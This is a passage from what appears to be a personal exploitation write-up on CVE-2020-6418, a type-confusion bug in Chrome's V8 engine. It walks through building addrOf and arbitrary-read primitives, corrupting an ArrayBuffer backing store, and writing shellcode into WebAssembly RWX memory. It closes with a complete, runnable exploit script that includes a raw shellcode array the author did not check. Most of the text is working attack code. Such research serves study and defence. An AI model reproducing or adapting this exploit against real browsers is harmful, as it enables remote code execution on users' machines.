We can make use of ArrayBuffers and DataView. Recall that with DataView, we can use functions like setUint32 to write into the backing_store of ArrayBuffers. Also, recall that we can also specify at which offset to write to relative to the address stored in the backing_store. This means that if we can corrupt the backing_store pointer of ArrayBuffer, we can write data into that location with the aforementioned function.

Let’s verify this as well!

let ab = new ArrayBuffer(0x100); // assign 0x100 bytes
let dataview = new DataView(ab);
dataview.setUint32(0,0xdeadbeef,true); // offset, data, littleEndian
dataview.setUint32(4,0xcafebabe,true); // offset, data, littleEndian

d8> let ab = new ArrayBuffer(0x100)
undefined
d8> let dataview = new DataView(ab)
undefined
d8> %DebugPrint(ab)
DebugPrint: 00000116080AEBE5: [JSArrayBuffer]
 - map: 0x011608241189 <Map(HOLEY_ELEMENTS)> [FastProperties]
 - prototype: 0x011608207575 <Object map = 00000116082411B1>
 - elements: 0x0116080406e9 <FixedArray[0]> [HOLEY_ELEMENTS]
 - embedder fields: 2
 - backing_store: 0000019BB9076A30  <------- backing_store pointer
 - byte_length: 256
 - detachable
 - properties: 0x0116080406e9 <FixedArray[0]> {}
 - embedder fields = {
    0, aligned pointer: 0000000000000000
    0, aligned pointer: 0000000000000000
 }
0000011608241189: [Map]
...
...
  
[object ArrayBuffer]
d8>

How do we decompress the address pointers when all we have are the lower 32 bits of the address?

At this point, when we need to get the value from the offset from wasmInstance, we want to be able to read the data from the address however, the addresses stored are compressed thus missing the top 32 bits which are needed.

Turns out, the value of the 32 bits can be found in the heap when it is being dumped. the reason for that is still unclear to me. Hopefully, I can find the reason for that soon. Although that was unclear, we can get that from the OOB read and with that, we can just add the offset (compressed pointer address) to the base and read from there. That being said, we will need to be able to do some sort of compressed read.

So far, these are possible assuming that if we have :

addrOf primitive
the ability to corrupt the backing_store pointer
the ability to do some form of compressed_read,

then we should be able to leak RWX memory address and write shellcode to it and then execute it by calling the created wasm function.

To summarize the exploitation plan, we should see if we can leverage the OOB to

create addrOf primitive
create compressed_read function which can be done by corrupting backing_store pointer.

addrOf Primitive

Just one last thing before implementing the addrOf primitive, We can create arrays and objects and see those reflected in memory which can be printed out as well (of course be real careful about this).

To try it out, we can add another array containing floating-point numbers.

let p = new Proxy(Object, {
    get: function() {
        a[0] = {};
        oob_Array = [0.1, 0.2, 0.3, 0.4, 0.5];
        float_arr = [0.1, 0.1, 0.1]; // This is the floating array added
  
        return Object.prototype;
    }
});

We can find that in the heap memory.

oob_Array[0] : 0x3fb999999999999a
oob_Array[1] : 0x3fc999999999999a
oob_Array[2] : 0x3fd3333333333333
oob_Array[3] : 0x3fd999999999999a
oob_Array[4] : 0x3fe0000000000000
oob_Array[5] : 0x080406e908241891
oob_Array[6] : 0x8d6f3b6808089be1
oob_Array[7] : 0x00000006482c0a48  <---- length : 6 << 1 == 3
oob_Array[8] : 0x3fb999999999999a  <---- 0.1
oob_Array[9] : 0x3fb999999999999a  <---- 0.1
oob_Array[10] : 0x3fb999999999999a <---- 0.1
oob_Array[11] : 0x080406e908241891
oob_Array[12] : 0x0000000608089c21

This shows that we can attempt to read and write things (like map address, element address, and values) at offset relative to oob_Array.

To implement addrOf, we have to recall that array containing floating-point values would store data in 8 bytes while an array containing objects stores data in 4 bytes. With that, we can create an array of an object (containing element hold data structure of fixedArray) and we can corrupt that with the OOB that we have to change the map to that of a FixedDoubleArray which we can get from creating a floating-point array.

The following figure illustrates the idea for addrOf

To get addrOf, we got to :

Get the map of FixedDoubleArray along with the preserved bytes (for safety)
Save the values that we want to overwrite
Change the object to the object that we want the address of
Change the map to that of FixedDoubleArray
Access the array to read the double value containing the location of the object
Restore the values that we saved to guarantee the safety

So the first thing to do is to get the indexes of data relative tooob_Array.

// Values gotten from the memory in memory dump
 
const fixedDoubleArray_Map = 5;
const fixedArray_map_to_be_replaced_at_index = 28;
...
...
let p = new Proxy(Object, {
    get: function() {
        a[0] = {};
        oob_Array = [0.1, 0.2, 0.3, 0.4, 0.5];
        float_arr = [0.1, 0.1, 0.1]; // This is the floating array
        obj = {   //
            x: 0.99,
            y: 0.999
        };
        obj_arr_to_corrupt = [obj]; // This object can be set to the target object that we want the address of
        return Object.prototype;
    }
});

Since our values from oob_Array are 8 bytes while the map is only 4 bytes, we will need to preserve the bytes just in case as shown in the following diagram.

// Since our values from `oob_Array` are 8 bytes while the map is only 4 bytes, we will need to preserve the bytes just in case.
fixedDoubleArrayMap = new Int64.fromDouble(oob_Array[fixedDoubleArray_Map]).toString().slice(10, 18);
// The fixedArray map that we want to replace at is the upper 32 bits so we need to preserve the lower 32 bits just in case
bytesToPreserveJustInCase = new Int64.fromDouble(oob_Array[fixedArray_map_to_be_replaced_at_index]).toString().slice(10, 18);
 
corruptValue = fixedDoubleArrayMap + bytesToPreserveJustInCase;
corruptValue = new Int64(corruptValue);

Now that we know what the corrupt value should be, we can now move on to the addrOf primitive.

// if isLower is true, it will take the lower 32 bits
// if islower is false, it will take the upper 32 bits
// if isLower is set to null then it will take the full 64 bits
 
function addrOf(object, isLower) {
 
    addr = null;
    backup = oob_Array[33]; // this where the map of the corruptedmaparray is located at
    oob_Array[fixedArray_map_to_be_replaced_at_index] = corruptValue.asDouble(); //  Change the map of the object array to trick into thinking that it is a double array
    obj_arr_to_corrupt[0] = object; // Write in the object at the object array that we want to get the address of
    if (isLower == true) {
  
        addr = Int64.fromDouble(obj_arr_to_corrupt[0]).toString().slice(10, 18);
    } else if (isLower == false) {
  
        addr = Int64.fromDouble(obj_arr_to_corrupt[0]).toString().slice(0, 10);
    } else {
        addr = Int64.fromDouble(obj_arr_to_corrupt[0]).toString();
    }
    oob_Array[33] = backup; // Changing the map back to an object for safety
  
    return addr;
}

We can now check if it works

console.log(addrOf(wasminstance));

Since this is in the lower 32 bits, we can add true to the addrOf function

console.log(addrOf(wasmInstance,true));
// prints 082187bd

Now that we have the compressed pointer to wasmInstance and that we need to get the value of wasmInstance’s offset, we need to get the base. As mentioned earlier, we can find this base in the memory dump. Currently, it happens to be at offset 82 at this stage at the upper 32 bits. It can change when more variables are added later on.

We can get it simply with the following snippet.

const heapBaseIndex = 82;
heapBase = Int64.fromDouble(oob_Array[heapBaseIndex]).toString().slice(10, 18);

Compressed_Read

Earlier we have the following plan,

To summarize the exploitation plan, we should see if we can leverage the OOB to

create addrOf primitive

create compressed_read function which can be done by corrupting backing_store pointer.

With addrOf completed, we can now head on to do the compressed_read. This should allow us to get values from the address that we specify specifically for leaking the rwx address. One way that we can do that is to overwrite the elements pointer to point to the address that we want.

The following illustration should clarify some doubts.

We can easily overwrite the element pointer to point to the address of wasmInstance + 0x68 which points to the value of the rwx address and then we have to subtract 0x8. This means we now need to find the index of the element of the float_arr. We can use %DebugPrint to get the value during the initialization of p and in this case, we can find it at index 12.

 
const float_arr_ele_index = 12;
 
function compress_read(addr, isLower) {
    // save a backup for restoration just in case something goes wrong
    backup = oob_Array[float_arr_ele_index];
    // Set to the pointer address that we want to read from
    var temp = new Int64(addr) - 8;
    oob_Array[float_arr_ele_index] = new Int64(temp).asDouble();
    value = Int64.fromDouble(float_arr[0]); // access the array to read from the element
    oob_Array[float_arr_ele_index] = backup; // restore the values
    if (isLower == true) {
        return value = value.toString().slice(10, 18);
    } else if (isLower == false) {
        return value = value.toString().slice(2, 10);
    }
    return value.toString();
}

With this, we can test by reading the value of rwx memory address and add to the base. After that, we can clarify to make sure that the memory is correct.

wasmInstanceAddr = heapBase + addrOf(wasmInstance, true);
wasmInstanceAddr = new Int64(wasmInstanceAddr) - 1 + 0x68; // +0x68 to get to the actual location and -1 due to pointer compression once again.
  
const rwxAddress = compress_read(wasmInstanceAddr, null).slice(0, -2);
console.log("[+] wasmInstanceAddr : " + heapBase + Int64.fromDouble(wasmInstanceAddr).toString().slice(10,18)   );
console.log("[+] RWX Address : " + rwxAddress);

We can verify in the debugger to make sure that it is the right address and that it is of the right protection with !vprot <address>.

Shellcode

One of my colleagues found this shellcode from https://bugs.chromium.org/p/chromium/issues/detail?id=906043. I am just trusting that that ain’t malicious and that it should just spawn a calculator >< .

Remember earlier that if we can corrupt the backing_store pointer of an arrayBuffer, we should be able to write to that address using functions like setUint32(). All we need to find the index for the array buffer’s backing store, write the rwx address as a double then loop through the shellcode array, and push those values at their respective offset.

One thing to note is that adding an ArrayBuffer and DataView would change some of the indexes. If that is the case, then we will need to find and update the right values. After that check to make sure that the rwx address is still correct.

    let p = new Proxy(Object, {
        get: function() {
            // // Creates a new proxy object that changes the a arrays from FixedDoubleArray (element size 8 – unboxed float)
            // to FixedArray (Element size 4 – object tagged pointers)
            a[0] = {}; // We are adding in an object with the array thinking that it is still a fixedDoubleArray when it is supposedly now a fixedArray This will inturn write 26 quadwords reaching the
            // location of the length of the JSArray of array b in memory
            oob_Array = [0.1, 0.2, 0.3, 0.4, 0.5];
            float_arr = [0.90, 0.91, 0.92]; // This is the floating array
            obj = {
                x: 0.99,
                y: 0.999
            };
            obj_arr_to_corrupt = [obj]; // This is the object whose map we want to replace
 
            // This is used for writing shellcode data into rwx address
            ab = new ArrayBuffer(0x4141);
  
            dataview = new DataView(ab); // Sets the backing store. Think we can set teh values here
            //%DebugPrint(dataview);
 
            return Object.prototype;
        }
    });
  
    ...
    ...
    ...
  
    // The base has been changed.
  const heapBaseIndex = 95;
  
  function shellcoding_the_rwx() {
      shellcode = [0xe7894955, 0xe48348fc, 0x00c0e8f0, 0x51410000, 0x51525041, 0xd2314856, 0x528b4865, 0x528b4860, 0x528b4818, 0x728b4820, 0xb70f4850, 0x314d4a4a, 0xc03148c9, 0x7c613cac, 0x41202c02, 0x410dc9c1, 0xede2c101, 0x48514152, 0x8b20528b, 0x01483c42, 0x88808bd0, 0x48000000, 0x6774c085, 0x50d00148, 0x4418488b, 0x4920408b, 0x56e3d001, 0x41c9ff48, 0x4888348b, 0x314dd601, 0xc03148c9, 0xc9c141ac, 0xc101410d, 0xf175e038, 0x244c034c, 0xd1394508, 0x4458d875, 0x4924408b, 0x4166d001, 0x44480c8b, 0x491c408b, 0x8b41d001, 0x01488804, 0x415841d0, 0x5a595e58, 0x59415841, 0x83485a41, 0x524120ec, 0x4158e0ff, 0x8b485a59, 0xff57e912, 0x485dffff, 0x000001ba, 0x00000000, 0x8d8d4800, 0x00000101, 0x8b31ba41, 0xd5ff876f, 0xa2b5f0bb, 0xa6ba4156, 0xff9dbd95, 0xc48348d5, 0x7c063c28, 0xe0fb800a, 0x47bb0575, 0x6a6f7213, 0x894c9000, 0x63c35dfc, 0x00636c61];
 
      const backing_store_index = 33;
 
      // We will be writing into dataview2 by corrupting the backingStore pointer to point to the address
 
      backup = oob_Array[backing_store_index];
      oob_Array[backing_store_index] = new Int64(rwxAddress).asDouble(); // corrupt the backing store with rwxAddress
 
      // copying 4 bytes by 4 bytes
      for (let i = 0; i < shellcode.length; i++) {
          dataview.setUint32(i * 4, shellcode[i], true); // offset +4 each time data is copied and in little endian format
      }
 
      // Restoring to garauntee the condition for proper usage
      oob_Array[backing_store_index] = backup;
  }
  
    shellcoding_the_rwx();

Let’s verify that that the shellcode is written in the rwx address. We do it like this because we cannot be too sure if the shellcode would ever work.

Here, we know that it works!

With the shellcode finally in rwx memory, we can run the function just by calling it.

var evil = wasmInstance.exports.main;
console.log("[++++] Calling evil function");
evil();
console.log("[*] Exploit completed!");

We tried it with the vulnerable version of chrome and indeed we can get the calculator after disabling sandbox with --no-sandbox flag.

video

The Full Exploit Script

The following is the cleaned-up version since the very first completed one was very messy and had lots of unnecessary things.

 load("C:/Users/User/v8/out/default/utils.js");
  load("C:/Users/User/v8/out/default/int64.js");
  
MAXITER = 100000; // 10000 wasnt enough lel
LOOPCOUNT = 100;
  
const EXPLOIT_LENGTH = 47707876338752028672E20;  //0x4141
var a = [0.1, , , , , , , , , , , , , , , , , , , , , , , 6.1, 7.1, 8.1];
var x = null;
var oob_Array = null;
  
function empty() {}
  
function f(nt) {
    // pushes the supposed double(object) into the confused array a writing 26*8 rather than 26*4 bytes
    // of data thus writing out of bounds.
    a.push(typeof(Reflect.construct(empty, arguments, nt)) === Proxy ? EXPLOIT_LENGTH : EXPLOIT_LENGTH);
    for (var i = 0; i < MAXITER; i++) {}
}
  
 
const fixedDoubleArray_Map = 5;
const fixedArray_map_to_be_replaced_at_index = 28;
  
let p = new Proxy(Object, {
    get: function() {
        a[0] = {};
        oob_Array = [0.1, 0.2, 0.3, 0.4, 0.5];
        float_arr = [0.1, 0.1, 0.1]; // This is the floating array
        obj = {   //
            x: 0.99,
            y: 0.999
        };
        obj_arr_to_corrupt = [obj]; // This object can be set to the target object that we want the address of
  
        // This is used for writing shellcode data into rwx address
        ab = new ArrayBuffer(0x4141);
        dataview = new DataView(ab); // Sets the backing store. Think we can set teh values here
        //%DebugPrint(dataview);
        return Object.prototype;
    }
});
  
function main(o) {
    for (var i = 0; i < MAXITER; i++) {}
    return f(o);
}
  
 
function oobMe() {
  
    a = [0.1, , , , , , , , , , , , , , , , , , , , , , , 6.1, 7.1, 8.1];
  
    for (var i = 0; i < MAXITER; i++) {
        empty();
    }  
 
    a.pop();
    a.pop();
    a.pop();
  
    main(empty);
    main(empty);
    main(p);
    for (let i = 0; i < MAXITER; i++) {}
}
console.log("\n[+] Triggering type confusion bug\n");
oobMe();
%DebugPrint(oob_Array);
  
  for(let i = 0 ; i < LOOPCOUNT; i++){
    console.log("oob_Array[" + i+  "] : " + Int64.fromDouble(oob_Array[i]).toString());  
  }
 
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
 
 
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
 
// Since our values from `oob_Array` are 8 bytes while the map is only 4 bytes, we will need to preserve the bytes just in case.
 
fixedDoubleArrayMap = new Int64.fromDouble(oob_Array[fixedDoubleArray_Map]).toString().slice(10, 18);
// The fixedArray map that we want to replace at is the upper 32 bits so we need to preserve the lower 32 bits just in case
bytesToPreserveJustInCase = new Int64.fromDouble(oob_Array[fixedArray_map_to_be_replaced_at_index]).toString().slice(10, 18);
 
corruptValue = fixedDoubleArrayMap + bytesToPreserveJustInCase;
corruptValue = new Int64(corruptValue);
 
function addrOf(object, isLower) {
    addr = null;
    backup = oob_Array[33]; // this where the map of the corruptedmaparray is located at
 
    oob_Array[fixedArray_map_to_be_replaced_at_index] = corruptValue.asDouble(); //  Change the map of the object array to trick into thinking that it is a double array
    obj_arr_to_corrupt[0] = object; // Write in the object at the object array that we want to get the address of
    if (isLower == true) {
  
        addr = Int64.fromDouble(obj_arr_to_corrupt[0]).toString().slice(10, 18);
    } else if (isLower == false) {
  
        addr = Int64.fromDouble(obj_arr_to_corrupt[0]).toString().slice(0, 10);
    } else {
        addr = Int64.fromDouble(obj_arr_to_corrupt[0]).toString();
    }
    oob_Array[33] = backup; // Changing the map back to an object for safety
  
    return addr;
}
  
console.log(addrOf(wasmInstance));
  
const heapBaseIndex = 95;
heapBase = Int64.fromDouble(oob_Array[heapBaseIndex]).toString().slice(10, 18);
  
console.log(heapBase);
const float_arr_ele_index = 12;
 
function compress_read(addr, isLower) {
    // save a backup for restoration just in case something goes wrong
    backup = oob_Array[float_arr_ele_index];
    // Set to the pointer address that we want to read from
    var temp = new Int64(addr) - 8;
    oob_Array[float_arr_ele_index] = new Int64(temp).asDouble();
    value = Int64.fromDouble(float_arr[0]); // access the array to read from the element
    oob_Array[float_arr_ele_index] = backup; // restore the values
    if (isLower == true) {
        return value = value.toString().slice(10, 18);
    } else if (isLower == false) {
        return value = value.toString().slice(2, 10);
    }
    return value.toString();
}
  
wasmInstanceAddr = heapBase + addrOf(wasmInstance, true);
wasmInstanceAddr = new Int64(wasmInstanceAddr) - 1 + 0x68; // +0x68 to get to the actual location and -1 due to pointer compression once again.
  
const rwxAddress = compress_read(wasmInstanceAddr, null).slice(0, -2);
console.log("[+] wasmInstanceAddr : " + heapBase + Int64.fromDouble(wasmInstanceAddr).toString().slice(10,18)   );
 
console.log("[+] RWX Address : " + rwxAddress);
 
 function shellcoding_the_rwx() {
      shellcode = [0xe7894955, 0xe48348fc, 0x00c0e8f0, 0x51410000, 0x51525041, 0xd2314856, 0x528b4865, 0x528b4860, 0x528b4818, 0x728b4820, 0xb70f4850, 0x314d4a4a, 0xc03148c9, 0x7c613cac, 0x41202c02, 0x410dc9c1, 0xede2c101, 0x48514152, 0x8b20528b, 0x01483c42, 0x88808bd0, 0x48000000, 0x6774c085, 0x50d00148, 0x4418488b, 0x4920408b, 0x56e3d001, 0x41c9ff48, 0x4888348b, 0x314dd601, 0xc03148c9, 0xc9c141ac, 0xc101410d, 0xf175e038, 0x244c034c, 0xd1394508, 0x4458d875, 0x4924408b, 0x4166d001, 0x44480c8b, 0x491c408b, 0x8b41d001, 0x01488804, 0x415841d0, 0x5a595e58, 0x59415841, 0x83485a41, 0x524120ec, 0x4158e0ff, 0x8b485a59, 0xff57e912, 0x485dffff, 0x000001ba, 0x00000000, 0x8d8d4800, 0x00000101, 0x8b31ba41, 0xd5ff876f, 0xa2b5f0bb, 0xa6ba4156, 0xff9dbd95, 0xc48348d5, 0x7c063c28, 0xe0fb800a, 0x47bb0575, 0x6a6f7213, 0x894c9000, 0x63c35dfc, 0x00636c61];
 
      const backing_store_index = 33;
      // We will be writing into dataview2 by corrupting the backingStore pointer to point to the address
 
      backup = oob_Array[backing_store_index];
      oob_Array[backing_store_index] = new Int64(rwxAddress).asDouble(); // corrupt the backing store with rwxAddress
      
      // copying 4 bytes by 4 bytes
      for (let i = 0; i < shellcode.length; i++) {
          dataview.setUint32(i * 4, shellcode[i], true); // offset +4 each time data is copied and in little endian format
      }
 
      // Restoring to garauntee the condition for proper usage
      oob_Array[backing_store_index] = backup;
  }
 
shellcoding_the_rwx();
var evil = wasmInstance.exports.main;;
console.log("[++++] Calling evil function")
evil();
console.log("[*] Exploit completed!");

🦉 Owl4444

Explorer

20200712093000 - BLG - CVE-2020-6418 - V8 Type Confusion Bug

Setup

The Bug Report at FIRST Glance

Things that we need to be aware of

`JSObject`

Pointer Compression

`JSArray`, `ArrayBuffer` and `DataView`

`JSArray`

`DataView`

Some other things that we need to be aware of

`Reflect.construct`

Proxy

Last Note Before Diving into the Bug

The Bug Report at SECOND Glance

Patch

Analyzing the POC

From Type Confusion to OOB

Exploitation

1. Are there any current RWX memory region?

2. What if there aren’t?

3. How are we going to write into memory assuming that the RWX memory region is somewhere before the `oob_Array`.

addrOf Primitive

Compressed_Read

Shellcode

The Full Exploit Script

Graph View

Table of Contents

Backlinks

🦉 Owl4444

Explorer

20200712093000 - BLG - CVE-2020-6418 - V8 Type Confusion Bug

Setup

The Bug Report at FIRST Glance

Things that we need to be aware of

JSObject

Pointer Compression

JSArray, ArrayBuffer and DataView

JSArray

DataView

Some other things that we need to be aware of

Reflect.construct

Proxy

Last Note Before Diving into the Bug

The Bug Report at SECOND Glance

Patch

Analyzing the POC

From Type Confusion to OOB

Exploitation

1. Are there any current RWX memory region?

2. What if there aren’t?

3. How are we going to write into memory assuming that the RWX memory region is somewhere before the oob_Array.

addrOf Primitive

Compressed_Read

Shellcode

The Full Exploit Script

Graph View

Table of Contents

Backlinks

`JSObject`

`JSArray`, `ArrayBuffer` and `DataView`

`JSArray`

`DataView`

`Reflect.construct`

3. How are we going to write into memory assuming that the RWX memory region is somewhere before the `oob_Array`.